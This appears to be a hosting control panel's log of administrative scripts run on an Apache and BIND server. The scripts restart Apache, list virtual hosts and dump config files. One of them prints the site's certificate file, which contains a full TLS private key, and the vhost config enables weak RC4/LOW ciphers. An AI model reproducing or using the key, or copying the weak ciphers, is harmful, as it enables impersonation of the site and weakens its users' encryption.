    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/cb3ec3692863cad5b3b14321e7c0e518.crt
    DocumentRoot	/var/www/hristadelfiane_www
    <Directory /var/www/hristadelfiane_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/hristadelfiane/www_secure_access.log combined
    ErrorLog	/var/log/apache2/hristadelfiane/www_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>



----boundary-6506b6c63ab0478b95fb419cca0e56fb----

chmod 644 $temp_file

cd $BASE
cp -f $temp_file $TARGET
rm $temp_file
if [ $DOCROOT != "-" ]; then
	mkdir -p 
	mkdir -p $DOCROOT/$PUBLIC
	chown -R : $DOCROOT
	ln -s "..//etc/apache2/sites-enabled/hristadelfiane_www_org.conf" "$BASE/sites-enabled/$BASENAME" > /dev/null 2>&1
	echo 'link(/etc/apache2/sites-enabled/hristadelfiane_www_org.conf)= /etc/apache2//etc/apache2/sites-enabled/hristadelfiane_www_org.conf'
	echo 'file(/etc/apache2//etc/apache2/sites-enabled/hristadelfiane_www_org.conf= 1'
fi


2026-02-28 14:43:28: 

chmod 755 /tmp/pkp528952; /tmp/pkp528952; rm /tmp/pkp528952

2026-02-28 14:43:28: 




2026-02-28 14:43:28: 

PUT: /tmp/pkp237113

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl graceful
fi 
if [ -f "/usr/local/opt/httpd/bin/httpd" ]; then
	export HOMEBREW_NO_INSTALL_FROM_API=1
	brew services restart httpd

fi
echo .

2026-02-28 14:43:28: 

chmod 755 /tmp/pkp237113; /tmp/pkp237113; rm /tmp/pkp237113

2026-02-28 14:43:28: 


.


2026-02-28 14:43:28: Establishing a connection
2026-02-28 14:43:28: 

PUT: /tmp/pkp235421

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl -S
fi
echo .

2026-02-28 14:43:28: 

chmod 755 /tmp/pkp235421; /tmp/pkp235421; rm /tmp/pkp235421

2026-02-28 14:43:28: 


VirtualHost configuration:
*:80                   is a NameVirtualHost
         default server jupiter (/etc/apache2/sites-enabled/000-default.conf:3)
         port 80 namevhost jupiter (/etc/apache2/sites-enabled/000-default.conf:3)
         port 80 namevhost aletheiacollege.net (/etc/apache2/sites-enabled/aletheiacollege_www_net.conf:2)
                 alias www.aletheiacollege.net
         port 80 namevhost christadelphia.net (/etc/apache2/sites-enabled/christadelphia_www_net.conf:2)
                 alias www.christadelphia.net
         port 80 namevhost gospelstudies.net (/etc/apache2/sites-enabled/gospelstudies_www_net.conf:2)
                 alias www.gospelstudies.net
         port 80 namevhost heaster.org (/etc/apache2/sites-enabled/heaster_www_org.conf:2)
                 alias www.heaster.org
         port 80 namevhost jupiter.hostz.org (/etc/apache2/sites-enabled/hostz_jupiter_org.conf:2)
         port 80 namevhost hristadelfiane.org (/etc/apache2/sites-enabled/hristadelfiane_www_org.conf:2)
                 alias www.hristadelfiane.org
         port 80 namevhost osnovybiblii.info (/etc/apache2/sites-enabled/osnovybiblii_www_info.conf:2)
                 alias www.osnovybiblii.info
         port 80 namevhost realdevil.info (/etc/apache2/sites-enabled/realdevil_www_info.conf:2)
                 alias www.realdevil.info
*:443                  is a NameVirtualHost
         default server aletheiacollege.net (/etc/apache2/sites-enabled/aletheiacollege_www_net.conf:23)
         port 443 namevhost aletheiacollege.net (/etc/apache2/sites-enabled/aletheiacollege_www_net.conf:23)
                 alias www.aletheiacollege.net
         port 443 namevhost christadelphia.net (/etc/apache2/sites-enabled/christadelphia_www_net.conf:23)
                 alias www.christadelphia.net
         port 443 namevhost gospelstudies.net (/etc/apache2/sites-enabled/gospelstudies_www_net.conf:23)
                 alias www.gospelstudies.net
         port 443 namevhost heaster.org (/etc/apache2/sites-enabled/heaster_www_org.conf:23)
                 alias www.heaster.org
         port 443 namevhost jupiter.hostz.org (/etc/apache2/sites-enabled/hostz_jupiter_org.conf:22)
         port 443 namevhost hristadelfiane.org (/etc/apache2/sites-enabled/hristadelfiane_www_org.conf:23)
                 alias www.hristadelfiane.org
         port 443 namevhost osnovybiblii.info (/etc/apache2/sites-enabled/osnovybiblii_www_info.conf:23)
                 alias www.osnovybiblii.info
         port 443 namevhost realdevil.info (/etc/apache2/sites-enabled/realdevil_www_info.conf:23)
                 alias www.realdevil.info
ServerRoot: "/etc/apache2"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/var/log/apache2/error.log"
Mutex rewrite-map: using_defaults
Mutex ssl-stapling-refresh: using_defaults
Mutex ssl-stapling: using_defaults
Mutex proxy: using_defaults
Mutex ssl-cache: using_defaults
Mutex default: dir="/var/run/apache2/" mechanism=default 
Mutex mpm-accept: using_defaults
Mutex watchdog-callback: using_defaults
PidFile: "/var/run/apache2/apache2.pid"
Define: DUMP_VHOSTS
Define: DUMP_RUN_CFG
User: name="www-data" id=33
Group: name="www-data" id=33
.


2026-02-28 14:43:28: 

PUT: /tmp/pkp736151

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/apache2/sites-enabled/hristadelfiane_www_org.conf')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2026-02-28 14:43:28: 

chmod 755 /tmp/pkp736151; /tmp/pkp736151; rm /tmp/pkp736151

2026-02-28 14:43:28: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/hristadelfiane_www_org.conf	1434

<VirtualHost *:80>
    ServerName	hristadelfiane.org
    ServerAlias	www.hristadelfiane.org
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/hristadelfiane_www
    <Directory /var/www/hristadelfiane_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/hristadelfiane/www_access.log combined
    ErrorLog	/var/log/apache2/hristadelfiane/www_error.log
    SetEnv pkp_uid	58
    SetEnv pkp_owner	hrista
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	hristadelfiane.org
    ServerAlias	www.hristadelfiane.org
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/cb3ec3692863cad5b3b14321e7c0e518.crt
    DocumentRoot	/var/www/hristadelfiane_www
    <Directory /var/www/hristadelfiane_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/hristadelfiane/www_secure_access.log combined
    ErrorLog	/var/log/apache2/hristadelfiane/www_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>







2026-02-28 14:43:28: 

PUT: /tmp/pkp962260

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/ssl/certs/cb3ec3692863cad5b3b14321e7c0e518.crt')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2026-02-28 14:43:28: 

chmod 755 /tmp/pkp962260; /tmp/pkp962260; rm /tmp/pkp962260

2026-02-28 14:43:28: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/ssl/certs/cb3ec3692863cad5b3b14321e7c0e518.crt	5389
ba:bb:f5:f6:35:89:5b:c0:4c:04:d1:9e:be:eb:20:f2

-----BEGIN CERTIFICATE-----
MIIFFjCCA/6gAwIBAgISBm3nj9MC+lBlGjliQqI/tUAHMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTMwHhcNMjYwMjI4MTM0NDU1WhcNMjYwNTI5MTM0NDU0WjAdMRswGQYDVQQD
ExJocmlzdGFkZWxmaWFuZS5vcmcwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQCqovnNesEzyagBqlii2+NOT1l0VP3IKkkYOpUNr7oqqslRzdKwDmpVupue
Ld+YL2ePxzi04XoLZNhvPSmQ0HRd1rm5atbmeUddM+TndC6jL76klk8rTArgHcVW
fG2iW2IZN6mm4tDZGDZ1zAwNwu5mH06dYlJq56235ysAJ/qUU7xtN2r8+mFyZvvR
s4kM4n+GsX+y4gll9bu8cl7feIyhVTxw89LIPfTOAscIktCFIxCmXRUiWuB47r9f
vIj6BOfrU6JmWFTlPa7BuLzTsj1ZQQemED81BAM070fWIWr0Ip+yhrDLUAaQhH33
1iGCMkOqeexUwdNLJ2yIZJ3bl03PAgMBAAGjggI4MIICNDAOBgNVHQ8BAf8EBAMC
BaAwEwYDVR0lBAwwCgYIKwYBBQUHAwEwDAYDVR0TAQH/BAIwADAdBgNVHQ4EFgQU
9iYILIrZ3abwvUhjSNLf/F/ytxQwHwYDVR0jBBgwFoAU56ufDywzoFPTXk94yLKE
DjvWkjMwMwYIKwYBBQUHAQEEJzAlMCMGCCsGAQUFBzAChhdodHRwOi8vcjEzLmku
bGVuY3Iub3JnLzA1BgNVHREELjAsghJocmlzdGFkZWxmaWFuZS5vcmeCFnd3dy5o
cmlzdGFkZWxmaWFuZS5vcmcwEwYDVR0gBAwwCjAIBgZngQwBAgEwLQYDVR0fBCYw
JDAioCCgHoYcaHR0cDovL3IxMy5jLmxlbmNyLm9yZy84LmNybDCCAQ0GCisGAQQB
1nkCBAIEgf4EgfsA+QB2AJaXZL9VWJet90OHaDcIQnfp8DrV9qTzNm5GpD8PyqnG
AAABnKS0Tt4AAAQDAEcwRQIhAJyITjlcPmAnEF/V14n9YwRhkcIAeY7t9RwjmpoK
iJ4BAiAT+Fp/h9wK5+32Z8Xcnsjx8IlY4xq8UkQ/rOPnPZHTHAB/AOMjjfKNoojg
quCs8PqQyYXwtr/10qUnsAH8HERYxLboAAABnKS0ULsACAAABQA0CrU1BAMASDBG
AiEA7wqukCycb1DmshTf3iJsjkHGAVoRKfxOs1fhvVsMx6cCIQDMF4x7KgF8SXNE
5hIN3kSt2HzCeNwdOvLdM5ihkdDW2DANBgkqhkiG9w0BAQsFAAOCAQEAQtzkQS1O
zQrnxk+cE+2SGGhMb9WMoSrVVZ31PGnVUMKkHUKe1u7yWbaJ2/qjFyInlJlAGkOY
jPaAbm5VQRZXDdH0xtdyE9EnqEASoimR7oHVOwbJxJFlhlY9SGyRXQfAEm7yCGQM
Fye+AwmeJugKk+BbJq3rITOrkJ3XThEMxjIUYyIAgY1VdogP5ovuMwGxpM3rTInC
VfS6B0Sr1369fwygxEDVX/YszhzBrU9syGjSmE0jNCWLMmg+FlYUm9kCcpSK+riu
FYC+4o9ZS2Acqm820S3UxQ2TudBocSSO0i0UkV8loAOh6/bBv8iU+t9m1A6i4YY3
FnDXjTwWJtGCkQ==
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvAIBADANBgkqhkiG9w0BAQEFAASCBKYwggSiAgEAAoIBAQCqovnNesEzyagB
qlii2+NOT1l0VP3IKkkYOpUNr7oqqslRzdKwDmpVupueLd+YL2ePxzi04XoLZNhv
PSmQ0HRd1rm5atbmeUddM+TndC6jL76klk8rTArgHcVWfG2iW2IZN6mm4tDZGDZ1
zAwNwu5mH06dYlJq56235ysAJ/qUU7xtN2r8+mFyZvvRs4kM4n+GsX+y4gll9bu8
cl7feIyhVTxw89LIPfTOAscIktCFIxCmXRUiWuB47r9fvIj6BOfrU6JmWFTlPa7B
uLzTsj1ZQQemED81BAM070fWIWr0Ip+yhrDLUAaQhH331iGCMkOqeexUwdNLJ2yI
ZJ3bl03PAgMBAAECggEAU6/mr/46bznBqj9vhUAutSN5jfJ5HQiQHM/udm3u8ioc
3oABitMnF7CTzfpVpP/q3Lsqdpv3DUuCUtw+XIW/7J35LJTXnOVyOKXQ6Cs1DFfI
OlR1s5hx5QT02bvg0TXcYN3J2M14/GBBpXhTmRQ3c+J63flwznmd24oGrubsoH27
iNZHUEXdkDkw8GfXuT192VIB7OOQ7l26hi/PrTo6w+taWB+TSJP9R1IYMwgsl+sp
/WVb4U4KnLXyewBpsYqH2PFIiXswFv6M5fRA0zLyUIp+3QLbwmSB6jiVmvjMF4cA
IApUUn/YMBqgZYwWQX6z5GJtKJIgA9s+7z2vv+WP0QKBgQDeu4Q5cSVYaZCnXkAx
jfzOdvdcDNtbAhqNacx16Z8/WLHaxunZEE/Qhn08oiHK+OxpDGZuj5+jJa/jZHAK
VUeUsRI1vG3qrVu+hKVS6c/pKVKyPkI6Er/yulSb5LnxfXugxep3tmCuEgfG6TRn
CV1IVg/gYD1jiQAiv6iv62rxWwKBgQDEH4CRqMhC45q6pAdbHnOUz/KAz9xLdCF0
OKoqCgxGl51j1bOs16a7U53yumr4tTvAt61FJOpTx46Tdr5uecKupmwqvf0ioWi/
wvwB4jU+q7onZ9KqT5UodnFSDrHra1Fg5a1oZrLjcibBqilmYm1+b22F3sN66Llm
yZryqBUrnQKBgHUdbF033Ucr2t/mcyKbYj691zsTl5O2+3c4FkY53X5ViM9coEF+
jjk7PkbPia1MTiK+Xm3sHyiN/Ho4qaEFTmok4UpYFgO7u+3lmXiLcMNM8yq+Cdy3
Vy6uQyblkdAlBwh2iN8Birx8xpIUtXUoO2B5wEde02iu9N9Qn8ZApy7ZAoGAT3t0
35NHldQoIPvY/1SYAvdDkHCtFuc5p6BPVjo8P1+yqYMyDhpXuBNrL7PdJm5MiQ3n
at5LGSkG3zyAcMVn4OARdkEJFb/Uc+LRvvGuInf2OYIaHmuiR4O46UiLUp1rnZl3
bZgxZ3wbuOD9ZkD9nwAJovdkwasPeFi8MxtreQECgYBeMSggVLFVC0wRUqhDrN3u
sIGb3x3ZmsUcqSy6ZsQq5+m+bbStPmo5RyrJHcLSsl7UkVrYObPcSq9x+rgiuPAc
ba2ipi//8NDvYzil4Y/kAV/ZgoGGXQRX7v9s70FppF898sXD/Vr1jTO5SFhsya0R
ZVrWgH8olpETimz9TIgRdw==
-----END PRIVATE KEY-----

-----BEGIN CERTIFICATE-----
MIIFBTCCAu2gAwIBAgIQWgDyEtjUtIDzkkFX6imDBTANBgkqhkiG9w0BAQsFADBP
MQswCQYDVQQGEwJVUzEpMCcGA1UEChMgSW50ZXJuZXQgU2VjdXJpdHkgUmVzZWFy
Y2ggR3JvdXAxFTATBgNVBAMTDElTUkcgUm9vdCBYMTAeFw0yNDAzMTMwMDAwMDBa
Fw0yNzAzMTIyMzU5NTlaMDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBF
bmNyeXB0MQwwCgYDVQQDEwNSMTMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQClZ3CN0FaBZBUXYc25BtStGZCMJlA3mBZjklTb2cyEBZPs0+wIG6BgUUNI
fSvHSJaetC3ancgnO1ehn6vw1g7UDjDKb5ux0daknTI+WE41b0VYaHEX/D7YXYKg
L7JRbLAaXbhZzjVlyIuhrxA3/+OcXcJJFzT/jCuLjfC8cSyTDB0FxLrHzarJXnzR
yQH3nAP2/Apd9Np75tt2QnDr9E0i2gB3b9bJXxf92nUupVcM9upctuBzpWjPoXTi
dYJ+EJ/B9aLrAek4sQpEzNPCifVJNYIKNLMc6YjCR06CDgo28EdPivEpBHXazeGa
XP9enZiVuppD0EqiFwUBBDDTMrOPAgMBAAGjgfgwgfUwDgYDVR0PAQH/BAQDAgGG
MB0GA1UdJQQWMBQGCCsGAQUFBwMCBggrBgEFBQcDATASBgNVHRMBAf8ECDAGAQH/
AgEAMB0GA1UdDgQWBBTnq58PLDOgU9NeT3jIsoQOO9aSMzAfBgNVHSMEGDAWgBR5
tFnme7bl5AFzgAiIyBpY9umbbjAyBggrBgEFBQcBAQQmMCQwIgYIKwYBBQUHMAKG
Fmh0dHA6Ly94MS5pLmxlbmNyLm9yZy8wEwYDVR0gBAwwCjAIBgZngQwBAgEwJwYD
VR0fBCAwHjAcoBqgGIYWaHR0cDovL3gxLmMubGVuY3Iub3JnLzANBgkqhkiG9w0B
AQsFAAOCAgEAUTdYUqEimzW7TbrOypLqCfL7VOwYf/Q79OH5cHLCZeggfQhDconl
k7Kgh8b0vi+/XuWu7CN8n/UPeg1vo3G+taXirrytthQinAHGwc/UdbOygJa9zuBc
VyqoH3CXTXDInT+8a+c3aEVMJ2St+pSn4ed+WkDp8ijsijvEyFwE47hulW0Ltzjg
9fOV5Pmrg/zxWbRuL+k0DBDHEJennCsAen7c35Pmx7jpmJ/HtgRhcnz0yjSBvyIw
6L1QIupkCv2SBODT/xDD3gfQQyKv6roV4G2EhfEyAsWpmojxjCUCGiyg97FvDtm/
NK2LSc9lybKxB73I2+P2G3CaWpvvpAiHCVu30jW8GCxKdfhsXtnIy2imskQqVZ2m
0Pmxobb28Tucr7xBK7CtwvPrb79os7u2XP3O5f9b/H66GNyRrglRXlrYjI1oGYL/
f4I1n/Sgusda6WvA6C190kxjU15Y12mHU4+BxyR9cx2hhGS9fAjMZKJss28qxvz6
Axu4CaDmRNZpK/pQrXF17yXCXkmEWgvSOEZy6Z9pcbLIVEGckV/iVeq0AOo2pkg9
p4QRIy0tK2diRENLSF2KysFwbY6B26BFeFs3v1sYVRhFW9nLkOrQVporCS0KyZmf
wVD89qSTlnctLcZnIavjKsKUu1nA1iU0yYMdYepKR7lWbnwhdx3ewok=
-----END CERTIFICATE-----
			





2026-02-28 15:20:02: Establishing a connection
2026-02-28 15:20:09: Establishing a connection
2026-02-28 15:20:10: 

PUT: /tmp/pkp548425

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-02-28 15:20:10: 

runuser -l bind -s /bin/bash -c '/tmp/pkp548425; rm /tmp/pkp548425'

2026-02-28 15:20:10: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= 0ef694a7641428c526ed26173b33ce38
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= 52e1ab6ca1b295d6e228011efc7c3e36
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
